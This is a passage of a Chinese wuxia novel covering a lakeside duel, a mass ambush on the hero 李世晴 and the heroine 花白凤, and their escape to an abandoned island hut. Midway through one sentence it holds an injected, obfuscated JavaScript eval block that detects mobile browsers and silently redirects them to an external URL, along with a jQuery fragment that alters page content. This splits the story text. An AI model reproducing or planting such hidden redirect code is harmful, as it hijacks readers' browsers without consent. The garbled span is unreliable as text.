反观花白龙,虽然以守为主,但武功极是怪异,招式看似简单,却虚实难辨,精妙无穷,变化万端,且无论古三通如何强攻,只要稍近花白龙身侧,都似泥牛入海一般,被恰到好处地化解劲力,花白龙寻隙反击,出手狠辣,直逼要害。百招之后,古三通连连遇险,围观各派从未见过如此神奇武功,心中惊疑骇然。 可有一人能看出端倪,便是李世晴。南教偏居滇南,与中原武林甚少往来,因此武学神秘。但李世晴的师父玄机老人幼时得南教始主玉龙仙客指点,李世晴承先人之惠,也对南教武学略知一二。南教传世绝学共有两门,便是移花接木大法和化一掌。移花接木大法乃无上内功心法,一能夺取对手功力收为己用,二能挪劲卸力,三尺之外化对手攻势为无形。而化一掌,虽名为掌,实则包含指、爪、拳、掌各路武学,一技化万招,三尺之内近身对战,绝无敌手。 李世晴虽知南教武功路数,但天池怪侠与玉龙仙客定下百年之约,后人决战,他若出言指点,就是徇私偏袒,莫说对花白龙不公,以古三通武痴脾性也定不愿接受。可若不帮,古三通不知南教武学路数,只是一股脑儿地将所学招式通通使出,他虽已身兼各派所长,但毕竟只是偷学而来,且他求胜心切,渐失章法,出招越多,招式越杂,破绽越大,李世晴看在眼里,急在心中。 果然,古三通一套罗汉拳从“黑虎掏心”使至“单凤朝阳”,皆被花白龙身法闪避。古三通旋即回身,一记“横扫千军”直攻下路,却不知花白龙亦是轻功卓绝,飞身闪避,回身欲逃。 古三通心思单纯,一昧追击,岂料花白龙忽往岸边石碑一拍,借力回旋,转瞬已至古三通头顶上方,一掌劈下。虽是一掌,可掌法之快、之绵密,犹如飞雪笼罩,古三通顿觉耳边寒风呼啸,四面八方皆是人影掌法。古三通艺高胆壮,干脆不看不躲,一记“千斤坠”立定下盘,双掌上击,使出一招“佛顶金光”。 花白龙这一招“天山飞雪”乃无上掌法,百式虚招之中隐藏一记实招,且出手极快,叫敌人眼花缭乱,虚实难辨。可古三通不愧绝世奇才,他知仅凭眼力难辨虚实,索性任凭直觉判断,险中求胜,同样一掌回击。古三通已有神功护身,寻常掌击之力难伤分毫,何况虚招,他丝毫不防,全力一掌,恰好正中花白龙掌力。两掌相拼,顿如惊雷炸响。 古三通、花白龙二人功力悉敌,花白龙身形凌空,难以发力,但他毕竟幼承绝学、身经百战,掌法骤变,以移花接木玄功化去古三通掌力。古三通顿觉右掌被吸,原本势如江涛的掌力却似汇入汪洋大海一般消失殆尽,转瞬间,右掌被拗至背后。花白龙拗住古三通右手,旋身回至古三通背后,趁其不能动弹之际,一掌正中后背命门。 古三通自知无法闪避,索性挺背硬接,他修习天池怪侠绝学,内功大成,亦通晓内家借力化力之技。古三通结结实实地受了花白龙一掌,体内气血翻腾,他强定真气,顺势将所受内劲与体内真气一并引至丹田,犹如洪水积蓄,顿时面露红光,周身热气升腾,一声大喝: “金刚不坏神功——” “三通,不可!”李世晴呼喊制止,却为时已晚。 古三通一声大喝,声势之威,犹如山洪爆发,竟将花白龙与围观众人逼退数步。待回过神来,众人只见古三通通体金光笼罩,气喘如虎,双目布满血丝,状若鬼神附体。 古三通抖一变身,热血冲顶,随即有片刻意识模糊,他挥舞双臂,双拳相击,发出“嘭嘭”金钟相撞般声响,仿佛那一双拳头并非血肉之躯,而是金石所铸,他脚步游离,一拳打中岸边石碑,将那丈高太湖石碑击得粉碎,威力之大,湖面也跟着颤上三颤。 围观各派皆是中原武林名门大派,不乏高手,却无一人见过如此奇异、威力巨大之武功,登时呆若木鸡,一些年轻弟子被气势所慑,双脚一软,瘫倒在地。 与众人的讶异惊诧不同,花白龙仍旧从容淡定,甚至得意一笑,开口道: “我在这里,古少侠!” 古三通神志恢复清醒,转身只见花白龙站在一旁,笑吟吟地看着他,毫不惊慌,心头火起,旋即攻去。 古三通数拳连攻,花白龙仍旧身法闪避,他虽不惧招式,但金刚不坏神功力发千钧,拳风炽热,每一拳擦过耳畔、脖颈,花白龙只觉深陷热浪气旋之中,气息窒滞,身法已不能似原先那般灵活。 又一拳袭来,花白龙使出一招“冰消雪融”,欲将古三通拳力化去,可金刚不坏神功变身之后,力敌千钧,花白龙勉力抵挡,却还是被砸中左肩。 花白龙已将拳力化去大半,饶是如此,只听得“喀嚓”一声,他左肩肩骨碎裂,关节脱位。这还不止,金刚不坏神神功潜劲无穷,花白龙体内气血翻涌,疼得眼冒金星,几欲昏倒,但他紧要牙关,忽地左手前探,如灵蛇般缠住古三通右手小臂,解开身上黑色披风,往空中一扬。 巨大的黑色披风悠悠落下,盖住二人。古三通眼前一黑,心烦气躁,一记“巨虎摆尾”,欲踢腿弯,可花白凤早有防备,率先移步,反制关节。古三通一急,左拳直冲,花白龙身如游鱼,移形换位,仍拗住古三通右臂不放,迫得他胁下空门大开,并指疾点腋下“极泉穴”。 古三通不明白花白龙意欲何为,他有金刚不坏神功护体,刀枪剑戟尚且不能伤他,更何况区区双指。但是古三通不知,“极泉穴”乃手少阴心经首穴,人身气血所源,而花白龙的“玄阴指”寒毒无比。古三通“极泉穴”被点,顿感寒流入体,丹田真气四泻,周身冷热相交,气血上涌,一口喷出。 花白龙放开古三通,一把撕开披风。围观众人受披风阻挡视线,不知二人相斗情形,眼下只见花白龙如同变戏法般撕开披风,而上一刻金刚护体、力拔山河的古三通,此刻竟单膝跪地、口吐鲜血。 “三通!”李世晴、朱无视失声惊叫,急欲赶去相助。 “不关你们的事,所有一切只管冲我来……” 古三通一声大喝,围观众人不明所以,但朱、李二人却知其意。古三通一是好胜,他虽中了花白龙一招,可花白龙也受他一拳,仍是平手,可若此时朱、李二人上前相帮,则算古三通认输;二是记恨昨夜众人教训他连累朋友,赌气生分。李世晴心中暗骂古三通小孩儿脾性,却见古三通看向朱无视,眼神坚定之中更带几分倔强。 “你只管保护好她!” 短短一句话,登时让朱无视动弹不得。朱无视环顾四周,高手林立,并且他知道这些人对古三通恨之入骨,不会放过任何对付古三通的机会,若他此刻前去相助,那么谁来保护素心? 朱无视犹豫不前,但李世晴顾不得许多,飞身上前,中途忽觉剑气袭来,旋身闪避,轻功已破,眼见要落入水中,但李世晴是何许人也?只见他双袖一振,如飞鸟展翅,乘风而起,最终飘然落在湖中一叶竹筏之上。 李世晴身形方定,只见一白一玄身影踏水而来,转眼落在李世晴前后。正是白石道人和陈玄松。 只见这二人各自手持长剑,脸色阴沉,尤其是陈玄松,竟一改原先恭敬之态。 “既然公子执意不肯告知小女下落,那……” 李世晴料不到二人还在纠缠此事,他心系古三通,此刻也顾不得言语恭敬。 “此事我已然澄清,信与不信全在诸位!请让开,我……” “够了!”陈玄松一声怒喝打断李世晴,“尊师玄机老人有恩于宿苍山庄,我才敬你三分!小女已与南直巡抚叶大人之子订下婚约,你污蔑我女儿清白,便是毁我宿苍山庄,我岂能饶你!” 陈玄松如此一说,出乎李世晴意料。李世晴昨夜撞见郑无相与陈霜衣凉亭幽会,原以为只是一对鸳鸯苦于辈分。可如今听陈玄松所言,才彻底明白其中隐情。 汉人婚娶,讲究父母之命、媒妁之言,无论郑无相与陈霜衣如何相爱,也敌不过一纸婚约。更何况男婚女配,尤重女子贞洁。宿苍山庄势力遍及太湖,地属南直隶,陈玄松将自己的独生女许配于南直巡抚之子,攀附结姻之意不言自明。可眼下陈霜衣尚未过门,若牵扯出私会道士、不守妇道的流言,莫说武当、宿苍两派蒙羞,一旦南直巡抚恼羞成怒,宿苍山庄也担当不起。由此,陈玄松断然不会接受李世晴的说辞,反而会想方设法将掳人罪名在李世晴身上牢牢扣实。 想到此处,李世晴也知多说无益。李世晴看向白石道人,只见白石道人眼神更为坚定。 “玄松乃我同门师弟,绝无袖手旁观之理。他既决意,我必相助!” 话落,白玄二人一齐拔出手中长剑。江湖传闻,前代武当掌门有一对精钢宝剑,分别传給座下两名得意弟子。白石手中剑名“冷月”,剑身极薄,剑刃锋利,叶落即断,寒光凌凌,如晚秋冷月;玄松手中剑名“鸣泉”,锋利之余,更具轻灵,兀一出鞘,剑鸣铮铮,似深谷泉响。 “公子,亮兵器吧!” 虽然李世晴修为极高,暗器功夫更是登峰造极,但暗器讲究出其不意,远战有利,不宜近战,更何况白玄二人皆是一派宗师,各持神兵利器,李世晴若以赤手对战,难有胜算。 为难之际,忽闻空中一声清喝: “公子,接剑!” 梅琴眼见形势不利,已将李世晴佩剑取来。梅琴小小年纪,修为不俗,能将一柄长剑越过湖面掷来。李世晴只一抬手,剑已稳稳落入掌中,手腕一抖,剑自出鞘,登时冷光四射,寒气森森,定睛一看,竟是一柄白玉冰剑。 众人见之讶异,寻常铸剑,多用铜、铁、精钢,以求剑身坚韧轻巧,李世晴却以白玉为剑,玉石虽硬,可若用以铸剑,未免太沉。 可众人不知,此剑名为“玉渊”,乃李世晴的师父玄机老人亲取天山寒玉锻造而成,虽比寻常铁剑沉重,但自带寒光冷气。玄机老人知李世晴性情仁善,因此宝剑从未开刃,也是告诫李世晴不可恃剑行凶,题名“玉渊”,意取“玉在山而草木润,渊生珠而崖不枯”,比喻君子为善。 李世晴谨记师父教诲,从未主动寻人比武斗狠,玉渊剑未曾出鞘。然今日一战在所难免。李世晴手握玉剑,余光一瞥远处,只见古三通已然起身,金刚不坏神功尚未解除,想是还能再支撑片刻,但四周围观各派已逐步靠近,面露凶光。 李世晴明白他们的企图,即趁古、花二人两败俱伤之际,一举铲除。古、花二人公平决斗,李世晴不该插手,可若在场各派趁人之危,他绝不会坐视不理。 看来,眼下当务之急唯有先击败白玄二人,再伺机脱身相救。思至于此,李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17312724|198515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世晴心志愈坚。 李世晴正值思忖,忽闻一阵剑鸣,陈玄松已挺剑刺来。李世晴提剑一封,“叮”的一声,两剑相峙,各自不退。紧接着,背后寒光一闪,白石道人提剑横削颈后。 冷月剑剑光莹莹,耀眼刺目,可奇怪的是,剑光明明自右而左,剑锋却由左而至。可李世晴早已识破,倏忽之间,使出一记内家“粘”字诀,将鸣泉剑引至左侧。只听一声脆响,犹如深谷泉鸣,冷月、鸣泉二剑相碰,白、玄二人亦被彼此力道震得身形一晃。李世晴趁机移形换位,玉剑分刺二人。 眼看即将得手,李世晴忽感脚下一阵摇晃。原来是岸边各派高手一齐出掌,催动数条竹筏冲来。此刻李、白、玄三人身处湖水中央,足立一叶竹筏,脚下忽遭连连撞击。白、玄二人似乎早有预谋,使出“千斤坠”稳定身形,可李世晴猝不及防,不由得身体一晃,白、玄二人趁机剑锋交错而至,李世晴连忙使出一记“潜龙在渊”,这才堪堪躲过。 李世晴凝神一看,只见数条竹筏簇拥四周,首尾相接,竟在湖中生生造出一方平地。李世晴轻功卓绝,方才在竹筏相斗,自然大占便宜。各派高手看出端倪,于是一齐催动竹筏撞来,效仿古书兵法之中舟船相连之术。 花白凤遥见此景,不明其中玄机,只以为众人出招围攻,不忿大喊: “喂!要比试就公平比试,这么多人一齐出手算什么?” 花白凤抱打不平,李世晴心生感动,可眼下已顾不上。李世晴身形未稳,又见两道寒光交织而至,他提剑连挡,仍有不及,转瞬被削下一缕长发。 “武当派两仪剑阵!” 李世晴心中暗惊。武当派尊崇道教,武学取自老、庄、周三玄,《周易》有云:易有太极,是生两仪,两仪生四象,四象衍八卦。武当派据此创两仪剑阵,二人主阵,一阴一阳,刚柔相济,六十四式剑招变化无穷。 只见白、玄二人前后夹攻,身影一白一黑,犹如太极阴阳。白石剑势威猛沉稳,大开大阂,冷月剑光凌凌,扰人视线;玄松剑式轻灵刁钻,疾趋疾退,鸣泉剑鸣铮铮,惑人心神。李世晴剑招亦是精妙,奈何身处阵内,受前后夹击,应接不暇,险象环生。 花白凤远远观战,她自小长于南疆,不懂太极阴阳之理,只见二人前后围攻,李世晴疲于应对,急得大骂: “耍赖!以多欺少,两个打一个不害臊!” 花白凤心直口快,却反招众人嘲笑。围观各派高手只当花白凤蛮夷女子,不知中原典故博大精深。两仪剑阵由伏羲八卦衍生而出,二人对阵犹如一体,对战一人如此,对战百人亦是如此,绝无以多欺少之理,众人见花白凤屡屡出言维护李世晴,二人言行亲昵,不由得纷纷猜测,一时间污言秽语随之而出。 李世晴一旁听闻,心头火起,想道: “你们这些人沆瀣一气,冤枉我和三通也就罢了!人家一个姑娘,不过说了几句公道话,你们就这样诋毁,竟还妄称侠客!” 于是,李世晴当即决定不再拖延周旋。 两仪剑阵的确精妙,可惜对手是李世晴。当年玄机老人游历四方,博采各派武学所长。李世晴自幼受教,见识广博。他早已听闻武当两仪剑阵之名,只不过今日初次亲眼所见,一时间不识奥妙,故而频频受制,可百招之后,李世晴已渐察觉端倪。 “原来这两仪剑阵精妙所在乃是步法方位!” 两仪生四象,四象衍八卦,包含乾、兑、离、震、坤、艮、坎、巽兑八种方位。李世晴见白、玄二人手上剑招变化连连,脚下步法却是稳打稳扎,便知其中奥妙。白、玄二人前后夹击,阵成浑圆,白石步法由南向东至北,乃是由乾至震的上位,而玄松步法由北向西至南,则是由坤至巽的下位。 既识奥妙,便知应对。李世晴躲过一招“地火明夷”,即知下一招是“天雷无妄”。他快剑一抢,直刺陈玄松的震雷位。陈玄松猝不及防,左脚闪避后撤,剑招已无法击出。李世晴料到身后冷月剑至,回身提剑,一挡一带,将冷月剑锋引向陈玄松。 白石道人见手中剑锋刺向师弟,慌忙收力,疏于防范,被李世晴反手刺中左足“三里穴”。若此刻李世晴手持利剑,本可一剑刺穿白石道人的左腿,然而李世晴性情宽和,玉渊剑也未开刃。话虽如此,玉渊剑由天山寒玉锻造而成,自带寒光冷气,李世晴内力一催,冷气侵肌,冰封经络。白石道人只感严寒彻骨,左腿一僵,险些就要单膝跪地。 一角已破,还剩一角。李世晴当即回身再攻,两剑对战,剑影纷飞,陈玄松挺剑直刺,李世晴剑势回旋,反手压制,两剑剑格钩缠,李世晴剑锋下引,内力一震,鸣泉剑脱手而出,“铮”的一声刺入竹板之中。 李世晴抢占先机,左掌拍向陈玄松的胸口,而陈玄松也不知反应不及还是为何,仅是身形一偏,挺肩硬接。李世晴无意争强,这一掌本收着力道,只为封住陈玄松“期门穴”,却不料掌心兀一触及陈玄松的身体,忽感周身劲力如急流奔泻般消失得无影无踪,当即左臂一麻,进退不得。 “这是……” 李世晴大感惊奇,他左掌被吸,再被陈玄松擒住手腕,动弹不得,又见白石道人举剑攻来,只能右手提剑连挡。李世晴疲于应战,尚未想出脱身之计,又感背后杀气,原是数枚飞镖向他逼来。 “混账!” 花白凤遥见此景,再也按捺不住,怒喝一声,飞身前去。她手舞长鞭,打掉飞镖,一腿高踢,逼退白石道人,回头又见李世晴被陈玄松所困,当即怒道: “叫你不放!”说罢,花白凤一掌按住李世晴左肩肩胛。 李世晴得花白凤内功相助,顿感周身经脉通畅,气血充盈,原本被吸去内力犹如江河入海般奔流而回,更有源源不断侵吞对方功力之势。 陈玄松大惊失色,连忙撤功,一掌打中李世晴肩头,立时分开。 李世晴被打得连退几步,在花白凤的搀扶下稳住身形。李世晴低头一看,只见原本十分泼辣的花白凤此刻眼中全无戾气,反而充满关切,不禁心头一暖,只是一句“多谢”尚未出口,又觉脚下摇晃。 原来少林、峨眉、崆峒、昆仑、华山、丐帮六派高手乘隙登船,将二人包围。 花白凤见此情景,当即大骂: “你们要不要脸?两个打一个就算了,暗器偷袭,眼下这么多人一起围攻!” 众人全然不管花白凤的控诉,华山掌门袁玉淑更是一口唾沫啐出,鄙夷道: “呸,蛮夷女子,不知羞耻!能得两位前辈以武当派两仪剑阵赐教,乃是尔等福气。你竟不识好歹,横加阻挠!你们二人私通苟且也就罢了,如今还施妖术暗算,我等岂能饶你!” 袁玉淑此言可谓颠倒黑白,毫无宗师气度,饶是李世晴性情温和,不禁动怒: “袁掌门慎言!我与这位姑娘仅数面之交,我方才受暗器偷袭,这位姑娘全凭侠义之心出手相助,何来苟且一说?你也是女子之身,何苦这样辱人清白?” “笑话!”丐帮长老薛承亦开口帮腔,“在场诸位前辈皆是名门宗师,何须暗器偷袭?你学艺不精也就罢了,竟还私通苗疆妖女,要靠旁门左道相救维护。玄机老人本是一代高人,却不想收了你这个不肖逆徒,当真是辱没英名!” “你……” 李世晴本想以理服众,却不料这些人竟是如此不讲道理,还辱及师父,登时怒气涌起,直冲天灵,一时之间反倒不知如何辩驳。 “还多说什么?他们摆明是不讲理!” 花白凤性情直率泼辣,当即抢步上前,一鞭向薛承抽去,薛承见花白凤年纪轻轻,不屑一顾,举起手中竹棒抵挡,岂知花白凤年纪虽小,功力远胜于他。花白凤长鞭缠绕,使力一扯,薛承登时脚步不稳,向前扑倒,手中竹棒断作两截。袁玉淑见状不妙,正欲拔剑,却见花白凤身影犹如鬼魅腾挪,眨眼间已近身前。花白凤一手按住袁玉淑手中剑柄,一手扬起往袁玉淑脸上“啪啪”连扇两个巴掌。 袁玉淑被打得眼冒金星,连退几步,怒而拔剑,却感脸上痛痒难当,借湖水一照,只见双颊脓肿,掌印清晰,犹如铁烙火烧一般。 “记着,是花白凤下毒害你,不是南教圣女!” 花白凤此举,彻底激怒在场众人。只见少林寺了介大师纵身跃起,一记龙爪手直逼花白凤肩头。此招来势汹汹,花白凤若受此招,只怕要被分筋错骨。 所幸李世晴及时出手,飞身相护,长剑横挡,饶是如此,少林首徒功力不俗,李世晴被震得连退三步。 “大师,手下留情!” 李世晴有意求和,众人却无此意。只见白石、玄松二人再度持剑左右夹攻,了介大师以龙爪手正面取他颈间命门,明溪师太施展“菩提拂尘功”由背后攻袭。李世晴疲于应对,与四人缠斗。 花白凤本欲上前相助,忽见两道寒光袭来,原来是天星子与何凌云出剑前后夹攻。花白凤登时大怒,挥动手中长鞭,顿时如灵蛇狂舞,鞭影纷飞,所到之处,或作裂空之势,或入船板三分,天星子与何凌云连连退守,哪得近身半分? 中原武林本不屑魔教武学,将其嗤为旁门左道,可如今崆峒、昆仑两大门派掌门围攻一个魔教女子却不得近身,实在有辱颜面。但天星子、何凌云年岁远胜花白凤,临战对敌更为沉稳,二人一面抵挡,一面四下观察,立时心中有了主意,眼神交汇瞬间,各发一记劈空掌,掌风对击。花白凤不明所以,却忽感脚下摇晃。 原来,花白凤受众人激怒,一昧抢攻,却忘了此刻自己身处湖上,脚下所踏两条竹筏相连之处。天星子、何凌云掌风相击,两条竹筏立时分开,花白凤猝不及防,脚下已失平衡,连忙双腿发力,欲将两条竹筏合拢,却见薛承以一招“秋风扫叶”攻向她的左腿。 花白凤及时闪避,左脚却失了立足之处,只剩右脚独立,又见天星子、何凌云再度袭来,花白凤先是长鞭攻向天星子,不料天星子以进为退,长剑迂回,顺势缠住长鞭。天星子内力胜于薛承,且此刻花白凤脚步不稳,难以发力,一时竟受制于人。 眼见何凌云提剑刺来,花白凤只得弃鞭,拳掌相抗,何凌云方才见花白龙武功奇诡,心存忌惮,他此刻长剑在手,相对花白凤赤手空拳已占优势,仍不敢冒进,亦战亦退,而花白凤心浮气躁,步步抢攻。 花白凤是南教圣女,幼承绝学,虽不及花白龙那般修为,但化一掌精妙无穷,能化解万招。果然,不出二十招,花白凤已双掌钳住何凌云剑刃,正欲攻击,却不料数枚钢钉由背后袭来。 此乃华山派独门暗器“九寒透骨钉”,将寒铁钢钉装入特制箭筒,藏于袖中,轻巧之余,威力不减。眼下暗器连射,悄无声息,直逼花白凤后颈,仿佛誓要取其性命。花白凤未能察觉,躲闪不及,却忽听数声脆响,九枚钢钉尽数落地。 原来,李世晴虽疲于应战,却也关心花白凤境况,他见花白凤受人偷袭,心中着急,取下发带上的一枚玉珠,飞掷而去。李世晴的暗器功夫登峰造极,仅凭一枚黄豆大小的玉珠,便可一举击落九枚钢钉。 花白凤躲过此劫,再看暗害之人,正是刚才挨了她两下巴掌的华山掌门袁玉淑。她见袁玉淑抬起手臂,正欲射出第二轮钢钉,怒道: “你找死!” 花白凤怒火蒙心,疏于防范。她双掌钳住何凌云剑刃,本将其制住,岂料何凌云当机立断,及时弃剑,双掌齐出,狠狠击中花白凤腹部。 花白凤始料未及,生生受了两掌,纵有真气护体,仍不禁口吐鲜血,向后倒去,正正倒在袁玉淑跟前。袁玉淑当众受辱,对花白凤恨之入骨,当即举起长剑,喝道: “妖女,纳命来!” 李世晴遥见此景,心下大惊,又见了介大师的龙爪手正面袭来,取下两枚玉珠,向前弹去。了介大师一意进攻,躲闪不及,被击中双手虎口“合谷穴”。李世晴紧接着俯身回旋,躲过明溪师太一记拂尘,反手刺中她的“天枢穴”。又见白玄双剑左右袭来,李世晴纵身跃起,双足轻点剑刃,借力飞身,逃出包围。 袁玉淑长剑向花白凤斩下,却听“铛”的一声,被一柄玉剑横空拦下。李世晴横剑一挥,震退袁玉淑,随即抱起花白凤。仔细一看,花白凤已神志尚还清醒,只是嘴角鲜血不止,已疼得说不出话。 李世晴不由大怒,心想: “你们妄称名门正派,数人围攻一名少女,竟还下如此杀手,与邪魔外道又有何区别?” 李世晴正欲为花白凤点穴疗伤,却忽听两声惊呼: “李兄,小心!” “阿凤……” 李世晴尚未回过神来,忽觉背上传来一阵锥骨之痛。 原来,刚才古三通与花白龙相斗,暂落下风,李世晴前来相救,反被围攻。古三通纵然痴迷比武求胜,也不忘朋友之义,无意再斗。花白龙眼见自己的妹妹同样受人围攻受伤,亦不免为之担忧,当即停手休战。 古、花二人心照不宣,只盼早一刻上前相救。可湖中方寸之地,数名高手战作一团,混乱至极,且瞬息万变。古、花二人只见不知何处飞出三枚手指大小的长钉,直逼李世晴后背。古、花各发一记劈空掌,欲打掉暗器。二人皆是内力不俗,无奈此暗器速度之快、威力之大犹胜华山派的“九寒透骨钉”。二人各自打掉左右两枚,还是漏了一枚,长钉转瞬刺入李世晴的背心。 李世晴强忍剧痛,一手搂住花白凤腰间,一手提剑回护,却见数名高手已成包围之势。 今日所发生的一切始料未及,李世晴本无意争斗,怎奈众人咄咄相逼,他苦思而无良策,只得应战。 眼下,宿苍山庄陈大小姐下落不明,李世晴百口莫辩,又当众击破武当派两仪剑阵,等于打了武当派脸面。而南教与中原武林素有积怨,花白凤性子泼辣,得罪各派高手,却也罪不至死。 李世晴眼见花白凤倒在怀中,面色苍白,犹如娇花蒙霜,心想她因维护自己而受此劫难,又忆起刚才围攻众人种种卑劣行径,胸中顿生万丈豪义,誓要将她维护周全。 “快走!” 又听一声呼喊,李世晴循声看向湖岸,只见花白龙隔空呐喊,此刻眼中已不见城府算计,只有关切之情。 “快带她走!” 李世晴又看向一旁的古三通,亦见古三通神情焦灼,眼中更有侠义,坚定道: “不用担心我!保护好这位姑娘!” 听闻此言,李世晴心志更坚,手揽花白凤纤腰更紧一分。 恰好此时,袁玉淑求胜心切,率先挺剑攻来,却被李世晴剑招化解,反手刺中腰下麻穴。李世晴往袁玉淑脚下一绊,掌力前推,将袁玉淑当作肉盾向了介大师推去。了介大师见袁玉淑躯体飞来,若出掌相抗,袁玉淑必死无疑,他是出家人,不愿多造杀孽;可若张臂去接,又顾虑男女授受不亲,一时犹豫,竟被撞得连连后退。 李世晴趁机突围,本欲飞身逃离,刚一跃起,却忽感右脚受困。低头一看,原来明溪师太挥舞拂尘,缠住李世晴右脚。花白凤见状,掷出腰间弯刀,割断拂尘。虽解困局,但经此一遭,饶是李世晴轻功卓绝,也已破功,身体不由得往下坠落。危机之刻,李世晴双手紧抱花白凤,将她护在怀中,一头扎入湖水之中。 26.孤屿萌爱意 金庭遇异人 花白凤在一片灼热中醒来,感觉仿佛身处烈焰炙烤之中,体内气血翻腾,四肢疼痛。她本能挣扎,却听背后柔声传来: “别动!” 花白凤心下一惊,她此刻意识模糊,对周遭一切惊恐戒备。可她细听,这声音不带半分杀气,反而十分熟悉,柔如三月春风,不禁心头一暖,当即定下心神,不再乱动。 “别怕,我会救你的!” “嗯……” 花白凤意识渐转清醒,目光四下游走,只见四周破败的木墙、茅草顶,布满灰尘的桌椅以及自己正盘腿而坐的一方土炕。 “这里是……” “看样子,应该是太湖渔民遗弃的废屋。这些年太湖水患不断,许多百姓背井离乡。我们潜水逃遁,寻得这片湖心荒岛,暂时藏身应该不成问题。” 李世晴这样一说,花白凤渐渐想起,自己原本和哥哥一同来到太湖,却见中原各派围攻古三通和李世晴,自己眼见不平,出手相助,反遭暗算。一想起中原各派仗势欺人的嘴脸和种种卑劣行径,花白凤心中怒火再燃,好不容易平复的气血再度翻腾,浑身只觉火辣辣地燃烧。 “你别动气!”李世晴连忙劝止,“你中了昆仑烈焰掌,周身发热,若此时再动气运功,气血相冲,后果不堪设想!” “什么昆仑烈焰掌,我才不怕!” 花白凤正欲强行运功,却突感背上钝痛。原来是李世晴点了她的穴道,她真气受阻,动弹不得,又因周身炙热,异常敏感。她感觉到一双手按在背上,为她输送真气。这双手掌十分宽厚,却又如此柔软,就连传来的内力也是这般温和,如同春风细雨。不一会儿,她身上的灼烧感已有减轻,气息也平顺不少。 “好了!”李世晴解开花白凤的穴道,“你现在试着慢慢运功调息,看看腑脏的灼烧感是否减轻一些?” 花白凤依照李世晴所说,缓缓催动体内真气,运行一周,顿觉气息舒畅,力气也恢复了些。 “好一些了?” “嗯。” “那你转过身来,把双手放在我的手掌上。” 花白凤不明所以,她现在仍感浑身疼痛,不愿动弹,只回头看去,却见李世晴盘腿坐在身后,双眼被白布所蒙。花白凤大感奇怪,再一细看,才发现自己的上衣被解开,香肩袒露,肩背几处要穴被施以银针。 李世晴听不见花白凤动静,猜想她心有顾及,继续柔声相劝: “这昆仑烈焰掌的火毒非同小可,我虽用银针为你放血,却只是解一时之危。好在师父生前曾传我一折清凉心经,你若信我,就把手伸过来,我助你运气调息,很快就能解毒。” 眼前这人的声音是如此温柔,虽听出焦急,却无半分威吓之意。 花白凤仔细观察,只见他面色泛白,纵然有遮眼布的隔挡,依旧能看出眼窝下的一圈乌青,他的发髻本梳得十分工整,可因为带着自己潜水逃遁,此刻他的脸上乱糟糟贴着碎发,十分狼狈。木墙的缝隙透进霞光,花白凤记得与众人大战是在清晨,也不知他带着自己逃了多久,又花了多少时间为自己疗伤,待到自己苏醒,竟已是黄昏。 花白凤看他正襟危坐,又煞有介事地蒙上眼睛,生怕冒犯自己。殊不知苗家儿女生性豪爽,若是寻常男子贪色轻薄,花白凤绝不会手软,可李世晴耗费真气为自己疗伤,花白凤心中只有感动,哪会在意什么男女授受不亲?却不想李世晴竟是这般迂腐守礼,花白凤不禁笑出声来。 “姑娘……” “好了!”花白凤娇嗔一笑,强忍疼痛,慢慢转身,将双手放在李世晴掌上。 花白凤虽是习武女子,双手却十分娇小。李世晴手指轻颤,强定心神,握住花白凤的手掌,清了清嗓子,道: “现在我将真气渡给你,你顺着我的气息,依照心经调息,火毒很快就能解。” “嗯!” 不知过了多久,李世晴缓缓醒来,只觉得周身发冷,手足沉重,浑身说不出的疲惫。他目光四转,渐渐地辨认出破败的茅草顶和身下躺着的土炕,起初神思昏昏,但一个念头飘然闪过,吓得他猛地坐起身来,在确认炕上睡着的只有自己一人时,才松下一口气。 昨夜,李世晴为花白凤运功疗伤,时至深夜。花白凤受伤本就虚弱,最后累得昏睡过去。李世晴将她安顿睡在炕上,收罗了些干草为她盖上,自己则冒着夜露去屋外值守。 起初,李世晴还能勉强支撑,可他大战之后已精疲力竭,为花白凤运功疗伤更是大耗真气,最终无法抵抗睡意侵袭。等到一觉醒来,李世晴发现自己睡在炕上,吓了一跳,生怕自己迷糊之时做出什么冒犯之举。可眼下看来,似乎并没有,或许只是花白凤先一步醒来,好心将熟睡的自己移到炕上。 李世晴四下查看,四周依旧是布满灰尘的残破桌椅,没有半分改变,却不见花白凤的踪影。李世晴细细思索,依眼下所见,这里并没有再发生争斗,可以排除敌袭的可能,昨夜他以清凉心经为花白凤疗伤,她身上的火毒已解,加上她本身功力不俗,也许是身体恢复后自行离开。南教势力庞大,若她运气好,能够遇上教众得到保护,确实胜过呆在自己身边。想到这里,李世晴放心下来,可转念又感到一丝失落。 李世晴努力扫去心中纷乱的想法,目光四下游走,最终定在墙上一处圆洞。李世晴记得,昨日大战之时,自己背上中了暗器,他带花白凤逃到这里,先是以内力逼出体内暗器。李世晴内功深厚,只一运力,暗器立即弹出,“噔”的一声钉在墙上。李世晴急于为花白凤疗伤,没再细看,现下他精神恢复,勉力起身,来到墙边仔细查看。只见墙上一个指头大小的圆洞,在晨光映照之下赫然醒目,但查看四周,却不见钢钉或飞镖之类的物什,只有地上一滩已经凝固的白色蜡汁。 难道昨日袭击自己的暗器是用白蜡做的? 李世晴想不明白,虽说将蜡汁熔铸可制成暗器,但白蜡质地偏软偏脆,要将这样的暗器射入人体,非有高深的内力不能做到。自己平日虽用花叶作为暗器,那是因为不愿伤人,可昨日那枚暗器入体一寸,显然已动了杀心,却又使用蜡制的暗器,难道是为了炫技?若是如此,为何不堂堂正正地使出? 李世晴想不明白,也无法再想。眼下他疲惫至极,手足冰冷,口干舌燥,偏偏茅屋内空无一物。李世晴走出茅屋,只见四周茅封草长,花果不生。他凝神静听,忽闻泉水叮咚,赶忙循声找去,穿过杂乱的树林,终于寻得一处山泉汇聚的水潭。 李世晴大喜过望,单膝跪在岸边圆石上,双手捧水,却不料指尖兀一触水,顿觉冰寒刺骨,身体猛地打了个激灵。 